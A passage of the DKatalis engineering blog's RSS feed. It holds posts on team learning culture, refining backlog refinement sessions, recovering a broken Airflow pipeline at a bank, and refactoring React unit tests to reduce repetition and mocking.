strategically.</p><h3>The power of learning as a team</h3><p>The antidote to the “delivery first” mentality lies in a simple belief: People learn best when they collaborate. This belief is crucial for a company’s long-term success. When team members share knowledge freely, they catch issues earlier, get feedback faster, and improve both the product and customer satisfaction. Over time, this leads to better product adoption, higher financial performance, and greater employee satisfaction, reinforcing the cycle of knowledge sharing and collaboration within teams.</p><p>Moreover, the more your team members work together and learn from each other, the stronger the organization becomes. When people feel they are learning and growing, they’re less likely to burn out, more likely to stay engaged, and more likely to keep their teams long-lived. This retention of knowledge and talent strengthens the company’s overall ability to adapt to changing market forces, ultimately leading to greater success.</p><blockquote>“All the project members who developed Epson’s first miniprinter were mechanical engineers who knew little about electronics at the start. So, the leader of the project team, who was also a mechanical engineer, returned to his alma mater as a researcher and studied electrical engineering for two years. He did this while the project was underway. By the time they had completed the miniprinter project, all the engineers were knowledgeable about electronics. “I tell my people to be well-versed in two technological fields and in two functional areas, like design and marketing,” the leader said. “Even in an engineering-oriented company like ours, you can’t get ahead without the ability to foresee developments in the market.”<br>Excerpt from <a href="https://hbr.org/1986/01/the-new-new-product-development-game.">https://hbr.org/1986/01/the-new-new-product-development-game.</a></blockquote><h4>Shifting the focus to learning through collaboration</h4><p>The goal is not to eliminate efficiency but to balance it with a culture that encourages continuous learning through collaboration. This requires a shift in mindset and intentional actions to build an environment where learning is valued as much as output. Here’s a way how you can start fostering a culture of collaboration and knowledge sharing:</p><h4>1. Map out existing domains and features</h4><p>If your team tends to work in silos, it can be easy for individuals to lose sight of what others are working on. Mapping out the business features your team is handling, and the technical domains you’re tackling will help everyone understand how their work fits into the bigger picture. It also enables team members to see where they can share knowledge and learn from others. This transparency boosts morale and reinforces the sense of collective achievement.</p><p>💡<em>Tip: Group related features together to give a clearer picture of your team’s domain and expertise.</em></p><h4>2. Assess knowledge levels across teams</h4><p>Knowledge sharing thrives in an environment of transparency. Encourage team members to identify what they know and what they don’t know, both about the business domain and the technical tools in use. This helps pinpoint areas where knowledge is concentrated or lacking, and it allows you to redistribute learning opportunities to ensure a more even distribution of expertise across the team.</p><p>💡<em>Tip: Vulnerability is imperative to the success of this step. It’s ok to admit we are not experts at something, and it’s ok to say we are just novices.</em></p><h4>3. Promote continuous learning within teams and between teams</h4><p>Remind your teams that every task is an opportunity to learn. Encourage them to tackle new challenges, explore unfamiliar areas, and collaborate with team members to broaden their knowledge. By breaking the cycle of repeating the same familiar technical tasks or business features, you open up opportunities for growth, creativity, and innovation.</p><p>Encourage collaboration between team members with diverse backgrounds and skill sets. Promote team members to temporarily join another team to share or gain knowledge. This cross-pollination of knowledge and expertise is especially valuable in feature teams, where individuals bring different perspectives to the table. The more teams learn from each other, the more adaptive the organization becomes.</p><p>💡<em>Tip: It’s imperative that management see their role as building long-term engineering and organizational capabilities by enabling teams to function autonomously and cross-functionally, as opposed to directing teams on what and how to deliver value to the organization.</em></p><h3>Conclusion</h3><p>Balancing delivery with learning is essential for maintaining an organization’s long-term success. By fostering a culture that values knowledge sharing and collaborative delivery, you empower your teams to solve problems more effectively. A commitment to learning will not only improve your product quality but also increase employee satisfaction, reduce turnover, and increase the organization’s ability to thrive in an ever-evolving business landscape.</p><p>So, next time you face the push to “deliver fast,” take a moment to consider the impact of that push and how your organization is also delivering value while maximizing learning. The result may be a more resilient, innovative, and successful future for your company as a whole.</p><p><em>Want to be a part of DKatalis and build the future of digital banking?</em> <a href="https://www.dkatalis.com/jobs"><strong>We’re hiring</strong></a>!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ea139db58e6b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/balancing-output-delivery-with-team-learning-the-key-to-organizational-agility-ea139db58e6b">Balancing Output Delivery with Team Learning: The Key to Organizational Agility</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Refining the Refinement with Practical Experimentation and Feedback Loop]]></title>
            <link>https://medium.com/dkatalis/refining-the-refinement-with-practical-experimentation-and-feedback-loop-c2718b77e860?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/c2718b77e860</guid>
            <category><![CDATA[way-of-working]]></category>
            <category><![CDATA[agile]]></category>
            <category><![CDATA[product-backlog]]></category>
            <category><![CDATA[agile-methodology]]></category>
            <category><![CDATA[retrospectives]]></category>
            <dc:creator><![CDATA[DKATALIS]]></dc:creator>
            <pubDate>Fri, 04 Oct 2024 08:29:23 GMT</pubDate>
            <atom:updated>2024-12-11T08:18:56.048Z</atom:updated>
            <content:encoded><![CDATA[<h4>By <a href="https://www.linkedin.com/in/shirleyrompis/">Shirley Rompis</a></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q5S7kwZr-5rVLOWvHUX8ow.png" /></figure><p><em>Note:</em> <em>In case you are new to scrum, you might want to learn more about what a refinement looks like </em><a href="https://scrumtrainingseries.com/BacklogRefinementMeeting/BacklogRefinementMeeting.htm"><strong>here</strong></a>.</p><p>By the book, a <strong>product backlog refinement (PBR) session</strong> is the space for clan teams to intentionally discuss why a <strong>Product Backlog Item (PBI)</strong> is in the backlog list, what the smallest value expected it’s going to bring upon release to market is, and a little bit about how to deliver the item. This is also where knowledge sharing happens.</p><p>I intentionally use the phrase “<em>by the book</em>” because that’s the most favorable situation that Agile Coaches<strong> <em>hope for</em></strong><em> </em>during PBR.</p><h4><strong>Continuous Improvement in refinement</strong></h4><p>At DKatalis, we embrace the spirit of continuous improvement—not only for our products but also in the way we operate as an organization. Establishing a continuously improved working system will create a self-managing group of people who contribute to high-quality results.</p><p>So, we realized that not just our products, but also the way we work on them during the refinement session itself needs improvement. To this end, the Partnership &amp; Servicing (Clan) principal engineer invited staff engineers to observe the Servicing product area refinement sessions. The goal of the observers is to get data points on how the current refinement session is running, which will later become a reflection for teams to be aware of and create actions of improvement.</p><p>🚨<em> (Disclaimer: The observation and findings are based on sessions the Partnership and Servicing Clan runs. Other Clans might have different takes depending on their product area and team dynamic).</em></p><h4><strong>Observation of refinement sessions</strong></h4><p>While each team may have its own metrics to evaluate the effectiveness of a refinement session, there are some general areas worth considering:</p><ol><li><strong>Over-Engineering<br></strong>The team is unable to stop the discussion when it’s gone too deep into technical solutions. Why does this matter? Going too deep into a technical discussion will create an illusion of clarity to deliver the right value; hence, the team knows how to do it practically, but potentially, it will not deliver the valuable item or be over-engineered.</li><li><strong>Refine as You Go<br></strong>The team understands that items can be refined multiple times (refinement isn’t the last chance to discuss the items).</li><li><strong>Balancing Out<br></strong>There is a tendency to know everything (need to be clear on the ‘how’) before estimating and detailing all UACs in a single refinement. Hence, the team’s perception of estimation as the measurement of delivery must be detailed and precise.</li></ol><p>Understanding the current situation gathered from observation data points, Agile Coaches and some of the staff engineers agreed to make requests for improvement to the team.</p><h4><strong>Refinement Session: Request for Improvement</strong></h4><p>After breaking down the observation findings, the Agile Coaches shared them with the whole clan at the start of the PBR session to provide transparency in the collaboration. They then share the request for improvements.</p><p>The crucial thing about <strong>requests</strong> is to create space for the team to <strong>clarify</strong> each request. That’s where an Agile coach takes time to align the expectations and the team’s perception. During clarification of the improvement request, the team validated their understanding of what the improvements might look like.</p><p>At the end of the clarification, the team gave their agreement to try implementing the improvement points and to experiment with them immediately in the refinement session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SXJyucdlNDRVm2Fs" /></figure><h4><strong>Refinement Session: Experimentation on improvement points</strong></h4><p>After the PBR session, the Agile coach shared direct observations and highlighted the improvements that teams have made as follows:</p><p><strong>1. Better Time Management<br></strong>2 out of 3 mixed groups were able to identify when they had to wrap up a discussion on an item and move on to the next, even if the timebox was not finished.</p><p><strong>2. Stakeholder Identification<br></strong>1 out of 3 mixed groups was able to identify irrelevant stakeholders/users in the room and requested the right stakeholders to join the discussion.</p><p><strong>3. Self-Managed Facilitation<br></strong>2 out of 3 mixed groups are self-managed in appointing a ‘champion’ as a facilitator within the mixed group. The presence of facilitators is necessary in PBR sessions, as they are the personnel who help create the opportunity for the team to speak up their thoughts and guide the discussion towards a common goal (PBR goal of discussion). They also <em>actively listen to the conversation, observe dynamics, and intervene when necessary</em>. As mentioned earlier, Agile Coaches usually take on this role. However, Product Managers, Designers, or Engineers could also assume this role depending on the product areas.</p><h4><strong>Lessons from the experimentation</strong></h4><p>Clear requests for improvement and aligning expectations can lead to significant progress. From our experimentation. Here are key points to consider when pursuing more effective refinements for the sake of better delivery:</p><ol><li><strong>Increasing Awareness<br></strong>The team might not be aware of what they often do. Hence, sharing observation points transparently helps teams become more aware of their actions and behaviors.</li><li><strong>Empowerment<br></strong>Giving teams the power and responsibility to modify how they work may lead to impactful changes.</li><li><strong>Clear Communication and Transparency<br></strong>As the Agile Coaches did before the refinement session started, it’s important to clarify when requesting improvement from the team, making sure the team has the same understanding.</li><li><strong>It’s an ongoing Process<br></strong>As we begin to empower team members to become facilitators, they need continuous support for facilitators to grow their skills. As they gain more experience by facilitating group discussion in refinement, their skills will grow, supplemented by feedback and guidance from seasoned facilitators.</li></ol><p>Sometimes, we can become so focused on one aspect that we overlook others. Hopefully, this article could inspire more teams to reflect on their refinement sessions and explore ways to enhance them.</p><p>We&#39;d also love to hear from you if you’ve had similar experiences or insights. Please share them in the comments!</p><p><em>Want to be a part of the culture of continuous learning and growth? </em><a href="http://dkatalis.com/jobs"><strong>Join DKatalis</strong></a><em>, we don’t byte </em>😉<em>!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c2718b77e860" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/refining-the-refinement-with-practical-experimentation-and-feedback-loop-c2718b77e860">Refining the Refinement with Practical Experimentation and Feedback Loop</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Panic to Pipeline: Surviving Midnight Crisis as a Data Engineer]]></title>
            <link>https://medium.com/dkatalis/from-panic-to-pipeline-surviving-midnight-crisis-as-a-data-engineer-b3793832d248?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/b3793832d248</guid>
            <dc:creator><![CDATA[Rizal Ardiyanto]]></dc:creator>
            <pubDate>Mon, 09 Sep 2024 06:16:35 GMT</pubDate>
            <atom:updated>2024-09-09T06:16:35.175Z</atom:updated>
            <content:encoded><![CDATA[<h4>Lessons learned from a sudden discovery of missing data.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NUVSyOqlKnCmhn0rwNm-ww.png" /></figure><p>It was another night when my phone buzzed with a Slack call from my Boss. The message read: “Hey, the data in this table has been missing for two months. What’s going on?” Instantly, my heart was racing hard. Two months???</p><p>I jumped out of bed and fired up my laptop. Running a quick query on the table confirmed my worst fears. The last entry was from two months ago, and OMG, a significant chunk of data was missing.</p><p>Have you ever had one of these nights?</p><p>If you’re a Data Engineer, you’ll probably resonate with my story. I’m here to share what I went through and how I came out alive, somewhat peacefully. I was rushing, digging, and searching frantically; what the heck was wrong!!</p><p>I probably discovered the possible root cause of the issue: an archaic Airflow pipeline that no one knows about. It was one of those can-of-worms experiences I had long ago, something forgotten yet continuing to run quietly in the background. I tried rerunning the pipeline, hoping for a quick fix, but no luck. The task kept failing.</p><p>Diving into the error logs, I discovered the Airflow task was trying to connect to an IP address belonging to a foreign MySQL Database (not a URL or hostname).</p><p>At this point, I was panicking. I had no clue what was what and needed to find someone who knew about this ASAP. I reached out to any of my teammates, asking if anyone had any idea about this mysterious MySQL server. Finding the right person was not easy since it was so early in the day.</p><p>After what felt like an eternity (two whole days, actually), someone mentioned to me that the IT Infrastructure team would know this.</p><p>I hopped on a WhatsApp call with the infra guy, who was also still wide awake in the middle of the night, trying to fix things. It turned out that the IP address had been changed due to a recent disaster recovery (DR) exercise (that needs to turn on and off the application database).</p><p>He scrambled to locate the new IP address. Once we had it, I updated the Airflow connection to point to the new IP. And just like that, the pipeline worked again!</p><p>It was a painful process but a victory nonetheless.</p><h4><strong>The challenge continued</strong></h4><p>With the pipeline back online, the next challenge was to rerun all the failed jobs from the past two months. Fortunately, the data volume was relatively small (a few hundred records per day), so backfilling was a breeze. We could load all the missing data back into the table in less than two hours.</p><p>But the story didn’t end there. For two months, we had been reporting incomplete data to the regulators (I work for a Retail Bank). We now had to gather all impacted people, draft a formal memo, and plan for data remediation.</p><p>In the end, we had to submit some corrections to the Regulator. It wasn’t a big deal, but it did cost us some money (due to the correction report). It was frustrating, for sure, but in the grand scheme of things, it could have been much worse.</p><h4><strong>What can we learn?</strong></h4><p>This story was definitely NOT how you live peacefully as a Data Engineer, but there are some lessons that I hope we all can take<strong>:</strong></p><ul><li><strong>Do a full scan on legacy systems</strong>: Just because something is old doesn’t mean it is irrelevant. Regularly review and enhance these old pipelines.</li><li><strong>Documentation is a must</strong>: If there’s an important pipeline or connection (e.g., one consumed for regulatory reporting), make sure it’s documented. That way, if something breaks, you’re not starting from scratch.</li><li><strong>Stay connected</strong>: When things go south, it is all about who you know. Build good communication lines with teams from upstream (application) to downstream (business users)</li></ul><p>Finally, sometimes, the only way you learn about critical problems is through such incidents. So make sure you stay adaptable and are ready for anything!</p><p><em>Hey, you look familiar! Perhaps you are our next Katalis? Join the adaptive and innovative team in building the future of life-centric digital banking </em><a href="http://dkatalis.com/jobs"><strong><em>here</em></strong></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b3793832d248" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/from-panic-to-pipeline-surviving-midnight-crisis-as-a-data-engineer-b3793832d248">From Panic to Pipeline: Surviving Midnight Crisis as a Data Engineer</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Continuous Improvement of Automation Tests for the Jago App]]></title>
            <link>https://medium.com/dkatalis/how-jago-is-slowly-improving-its-automation-tests-0187ff8728ca?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/0187ff8728ca</guid>
            <category><![CDATA[automation-testing]]></category>
            <category><![CDATA[code-quality]]></category>
            <category><![CDATA[unit-testing]]></category>
            <category><![CDATA[software-engineering]]></category>
            <dc:creator><![CDATA[Abhijeet Vashistha]]></dc:creator>
            <pubDate>Fri, 03 May 2024 08:32:48 GMT</pubDate>
            <atom:updated>2024-05-03T10:36:27.217Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UQNyTRjXqjK6_F1xK3Z8qg.png" /></figure><blockquote>Testing can be a very effective way to show the presence of bugs, but it is hopelessly inadequate for showing their absence.</blockquote><blockquote>- Edsger W. Dijkstra</blockquote><p>Tests are an important arsenal in a developer’s toolbox. They can detect breaking changes and help understand the expected behavior of the code. Sadly, they&#39;re often considered a chore and overlooked by strict quality checks applied to the codebase. Developers don’t pay as much attention to writing good code for test cases as they do for the functionality, resulting in a test suite that is full of test smells.</p><p>With the Jago App&#39;s ever-increasing codebase and new devs joining the teams, the need for good tests is apparent. Our focus is now not only on covering all the edge cases in the code but also on making the test readable. Test cases should be clear and concise so that anyone reading them can easily understand what they are testing.</p><p>In this article, I will focus on two key areas of improvement:</p><ol><li>Removing noise from the test to make it readable.</li><li>Remove unnecessary use of mocking.</li></ol><p>Let&#39;s take an example by improving the unit test of a react component. The component AdditionalNotes is expected to be used in a form by Jago Customer Service agents. The component should trim whitespaces from the content. The component implementation is not the focus here; we will just focus on testing.</p><blockquote>Note: The code shown here is not the actual code we fixed but it’s similar.</blockquote><pre>import React from &#39;react&#39;;<br>import { Form } from &#39;antd&#39;;<br>import { UserEvent, userEvent } from &#39;@testing-library/user-event&#39;;<br>import { render, renderHook } from &#39;@testing-library/react&#39;;<br>import AdditionalNotes from &#39;../AdditionalNotes&#39;;<br>import constants from &#39;../constants&#39;;<br><br>const createMockForm = () =&gt; {<br>  const { result } = renderHook(() =&gt; Form.useForm());<br>  const form = result.current[0];<br><br>  return {<br>    ...form,<br>    getFieldInstance: jest.fn(),<br>    setFieldValue: jest.fn()<br>  };<br>};<br><br>describe(&#39;AdditionalNotes&#39;, () =&gt; {<br>  let user: UserEvent;<br><br>  beforeEach(() =&gt; {<br>    user = userEvent.setup();<br>  })<br><br><br>  it(&#39;calls onChange with the new value when typed into text area&#39;, async () =&gt; {<br>    const mockOnChange = jest.fn();<br>    const mockForm = createMockForm();<br><br>    const { getByRole } = render(<br>      &lt;AdditionalNotes<br>        confirmationForm={mockForm}<br>        value=&quot;&quot;<br>        onChange={mockOnChange}<br>      /&gt;<br>    );<br><br>    const textArea = getByRole(&#39;textbox&#39;);<br>    const testValue = &#39;New note text&#39;;<br><br>    await user.type(textArea, testValue);<br><br>    expect(mockOnChange).toHaveBeenCalledWith(testValue);<br>    expect(mockForm.setFieldValue).toBeCalledWith(<br>      constants.formKey.note,<br>      testValue<br>    );<br>  });<br><br>  it(&#39;calls onChange with the new value when typed into text area with whitespaces removed&#39;, async () =&gt; {<br>    const mockOnChange = jest.fn();<br>    const mockForm = createMockForm();<br><br>    const { getByRole } = render(<br>      &lt;AdditionalNotes<br>        confirmationForm={mockForm}<br>        value=&quot;&quot;<br>        onChange={mockOnChange}<br>      /&gt;<br>    );<br><br>    const textArea = getByRole(&#39;textbox&#39;);<br>    const testValue = &#39;      New note text      &#39;;<br><br>    await user.type(textArea, testValue);<br><br>    expect(mockOnChange).toHaveBeenCalledWith(testValue.trim());<br>    expect(mockForm.setFieldValue).toBeCalledWith(<br>      constants.formKey.note,<br>      testValue.trim()<br>    );<br>  });<br><br>  it(&#39;calls onChange with the new value when typed into text area with one whitespace at the end&#39;, async () =&gt; {<br>    const mockOnChange = jest.fn();<br>    const mockForm = createMockForm();<br><br>    const { getByRole } = render(<br>      &lt;AdditionalNotes<br>        confirmationForm={mockForm}<br>        value=&quot;&quot;<br>        onChange={mockOnChange}<br>      /&gt;<br>    );<br><br>    const textArea = getByRole(&#39;textbox&#39;);<br>    const testValue = &#39;New note text &#39;;<br><br>    await user.type(textArea, testValue);<br><br>    expect(mockOnChange).toHaveBeenCalledWith(testValue);<br>    expect(mockForm.setFieldValue).toBeCalledWith(<br>      constants.formKey.note,<br>      testValue<br>    );<br>  });<br><br>  it(&#39;calls onChange with the new value with one space at end when typed into text area with two whitespace at the end&#39;, async () =&gt; {<br>    const mockOnChange = jest.fn();<br>    const mockForm = createMockForm();<br><br>    const { getByRole } = render(<br>      &lt;AdditionalNotes<br>        confirmationForm={mockForm}<br>        value=&quot;&quot;<br>        onChange={mockOnChange}<br>      /&gt;<br>    );<br><br>    const textArea = getByRole(&#39;textbox&#39;);<br>    const testValue = &#39;New note text  &#39;;<br><br>    await user.type(textArea, testValue);<br><br>    const expectedValue = testValue.trim().concat(&#39; &#39;);<br><br>    expect(mockOnChange).toHaveBeenCalledWith(expectedValue);<br>    expect(mockForm.setFieldValue).toBeCalledWith(<br>      constants.formKey.note,<br>      expectedValue<br>    );<br>  });<br>});</pre><p>As shown in the above example, even when the requirements are really simple the test cases are not. Someone reading it for the first time can get confused about what’s going on here. A few setup lines are repeated over and over again for every test case. The expectation is also not very clear.</p><h3><strong>Improvements</strong></h3><h4><strong>Improving Readability</strong></h4><p>First, let us figure out what can be improved. We can see the setup part till the component rendering is repeated in every test.</p><p>Let’s use <a href="https://jestjs.io/docs/setup-teardown"><em>jest</em>’s <em>beforeEach</em></a> method to set it all up:</p><pre>// snip...<br><br>describe(&#39;AdditionalNotes&#39;, () =&gt; {<br>  let user: UserEvent;<br>  let additionalNotes: React.JSX.Element;<br>  const mockOnChange = jest.fn();<br>  let mockForm: FormInstance&lt;any&gt;;<br>  let textArea: HTMLElement;<br><br>  beforeEach(() =&gt; {<br>    user = userEvent.setup();<br>    mockOnChange.mockReset();<br>    mockForm = createMockForm();<br><br>    additionalNotes = (<br>      &lt;AdditionalNotes<br>        taskConfirmationForm={mockForm}<br>        value=&quot;&quot;<br>        isEnable={true}<br>        onChange={mockOnChange}<br>      /&gt;<br>    );<br><br>    render(additionalNotes);<br><br>    textArea = screen.getByRole(&#39;textbox&#39;);<br>  });<br><br>  it(&#39;calls onChange with the new value when typed into text area&#39;, async () =&gt; {<br>    const testValue = &#39;New note text&#39;;<br><br>    await user.type(textArea, testValue);<br><br>    expect(mockOnChange).toHaveBeenCalledWith(testValue);<br>    expect(mockForm.setFieldValue).toBeCalledWith(<br>      constants.formKey.note,<br>      testValue<br>    );<br>  });<br><br>  // remove the same common code from other test cases</pre><p>By separating setup logic, our test cases look less confusing.</p><h4><strong>Improving Mocking</strong></h4><p>It’s a common practice to mock objects that are passed to components while testing. For example, if you want to test a service, you mock the repository instance. This is a general tendency of developers to mock most of the things while testing.</p><p>But mocking is a double-edged sword. If you are not careful, you can find yourself in mocking hell where everything is mocked and no real testing is done. Mocking can also result in false positive test cases where a contract breaks with the third-party library, but we are not able to detect it due to mocks. Developers also mock the library to check some conditions just to increase the code coverage. It’s highly debatable what to mock and what not to. We should consider not using mock unless it’s absolutely required.</p><blockquote>We should consider not using mock unless it’s absolutely required.</blockquote><p>We can see that we are mocking <em>FormInstance</em>. We asked ourselves, “Do we really need this mock here? Can’t we use this without mocking?” The reason for mocking is to spy on the <em>setFieldValue</em> call. Is there a way to check if the correct form value is set?</p><p>After thinking over it we figured out a simple way to check the value in the form. We can use Form’s <em>getFieldValue</em> to get the value and use it to check with the expected value.</p><pre>// snip...<br><br>const createMockForm = (): FormInstance&lt;any&gt; =&gt; {<br>  const { result } = renderHook(() =&gt; Form.useForm());<br>  return result.current[0];<br>};<br><br>// snip...<br><br>it(&#39;calls onChange with the new value when typed into text area&#39;, async () =&gt; {<br>    const testValue = &#39;New note text&#39;;<br><br>    await user.type(textArea, testValue);<br><br>    expect(mockOnChange).toHaveBeenCalledWith(testValue);<br>    expect(mockForm.getFieldValue(constants.formKey.note)).toBe(testValue);<br>  });<br><br>// same changes in other test cases</pre><p>Now we are actually using the library functions to test our component. This removed the overhead of mocking, and if there is a breaking change in the library, our test case will catch that.</p><h4><strong>Final touch-ups</strong></h4><p>Now, the test cases are looking concise. But there is still room for more improvements. Let’s look at the test case below:</p><pre>it(&#39;calls onChange with the new value with one space at end when typed into text area with two whitespace at the end&#39;, async () =&gt; {<br>    const testValue = &#39;New note text  &#39;;<br><br>    await user.type(textArea, testValue);<br><br>    const expectedValue = testValue.trim().concat(&#39; &#39;);<br><br>    expect(mockOnChange).toHaveBeenCalledWith(expectedValue);<br>    expect(mockForm.setFieldValue).toBeCalledWith(<br>      constants.formKey.note,<br>      expectedValue<br>    );<br>});</pre><p>Although the description says that it is acceptable to have one whitespace at the end of text, but the code looks confusing. Why are we trimming and concatenating the space? We can fix this by inlining the test and expected values.</p><pre>it(&#39;calls onChange with the new value with one space at end when typed into text area with two whitespace at the end&#39;, async () =&gt; {<br>    const endingWithOneWhiteSpace = &#39;New note text &#39;;<br><br>    await user.type(textArea, &#39;New note text  &#39;);<br><br><br>    expect(mockOnChange).toHaveBeenCalledWith(endingWithOneWhiteSpace);<br>    expect(mockForm.getFieldValue(constants.formKey.note)).toBe(endingWithOneWhiteSpace);<br>});</pre><p>We can further improve it by moving the constant value <em>endingWithOneWhiteSpace</em> to higher scope, wrapping <em>mockForm.getFieldValue(constants.formKey.note)</em> in a function and updating the descriptions.</p><pre>import React from &#39;react&#39;;<br>import { Form, FormInstance } from &#39;antd&#39;;<br>import { UserEvent, userEvent } from &#39;@testing-library/user-event&#39;;<br>import { screen, render, renderHook } from &#39;@testing-library/react&#39;;<br>import AdditionalNotes from &#39;../AdditionalNotes&#39;;<br>import constants from &#39;../constants&#39;;<br><br>let mockForm: FormInstance&lt;any&gt;;<br><br>const createMockForm = (): FormInstance&lt;any&gt; =&gt; {<br>  const { result } = renderHook(() =&gt; Form.useForm());<br>  return result.current[0];<br>};<br><br>function notesFieldValue() {<br>  return mockForm.getFieldValue(<br>    constants.formKey.note<br>  );<br>}<br><br>describe(&#39;AdditionalNotes&#39;, () =&gt; {<br>  let additionalNotes: React.JSX.Element;<br>  const mockOnChange = jest.fn();<br>  let textArea: HTMLElement;<br>  let user: UserEvent;<br>  const noWhiteSpaceValue = &#39;New note text&#39;;<br>  const endingWithOneWhiteSpace = &#39;New note text &#39;;<br><br>  beforeEach(() =&gt; {<br>    user = userEvent.setup();<br>    mockOnChange.mockReset();<br>    mockForm = createMockForm();<br><br>    additionalNotes = (<br>      &lt;AdditionalNotes<br>        taskConfirmationForm={mockForm}<br>        value=&quot;&quot;<br>        isEnable={true}<br>        onChange={mockOnChange}<br>      /&gt;<br>    );<br><br>    render(additionalNotes);<br><br>    textArea = screen.getByRole(&#39;textbox&#39;);<br>  });<br><br><br>  it(&#39;Input value with no whitespace&#39;, async () =&gt; {<br>    await user.type(textArea, noWhiteSpaceValue);<br><br>    expect(mockOnChange).toHaveBeenCalledWith(noWhiteSpaceValue);<br>    expect(notesFieldValue()).toBe(noWhiteSpaceValue);<br>  });<br><br>  it(&#39;Input value with whitespaces in begining and end&#39;, async () =&gt; {<br>    await user.type(textArea, &#39;      New note text      &#39;);<br><br>    expect(mockOnChange).toHaveBeenCalledWith(endingWithOneWhiteSpace);<br>    expect(notesFieldValue()).toBe(endingWithOneWhiteSpace);<br>  });<br><br>  it(&#39;Input value with one whitespace at end&#39;, async () =&gt; {<br>    await user.type(textArea, endingWithOneWhiteSpace);<br><br>    expect(mockOnChange).toHaveBeenCalledWith(endingWithOneWhiteSpace);<br>    expect(notesFieldValue()).toBe(endingWithOneWhiteSpace);<br>  });<br><br>  it(&#39;Input value with two whitespaces at end&#39;, async () =&gt; {<br>    await user.type(textArea, &#39;New note text  &#39;);<br><br>    expect(mockOnChange).toHaveBeenCalledWith(endingWithOneWhiteSpace);<br>    expect(notesFieldValue()).toBe(endingWithOneWhiteSpace);<br>  });<br>});</pre><p>The final result of all the refactoring is readable test cases that are not using any extra mocking than required. Now, when someone reads the test case, they are not overwhelmed by the setup and they can easily see what is the expected behaviour of the component.</p><h3><strong>Conclusion</strong></h3><p>Writing good test cases is difficult, but even small refactoring, like moving common setup logic in one place, can improve it. Developers change their mindset and don’t look at it as something that is just part of the Definition of Done. They should adhere to the same code quality as their code. Engineers at DKatalis are slowly trying to improve test suites and make automation tests more reliable.</p><p>(Shout out to <a href="https://www.linkedin.com/in/stanlylau">Stanly Lau</a> for guiding and helping my clan understand these test smells and how to remove them.)</p><p><em>Find more interesting tips and tricks from the DKatalis team on our </em><a href="https://medium.com/dkatalis"><strong>blog</strong></a><em>, and don’t forget to hit that follow button!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0187ff8728ca" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/how-jago-is-slowly-improving-its-automation-tests-0187ff8728ca">Continuous Improvement of Automation Tests for the Jago App</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>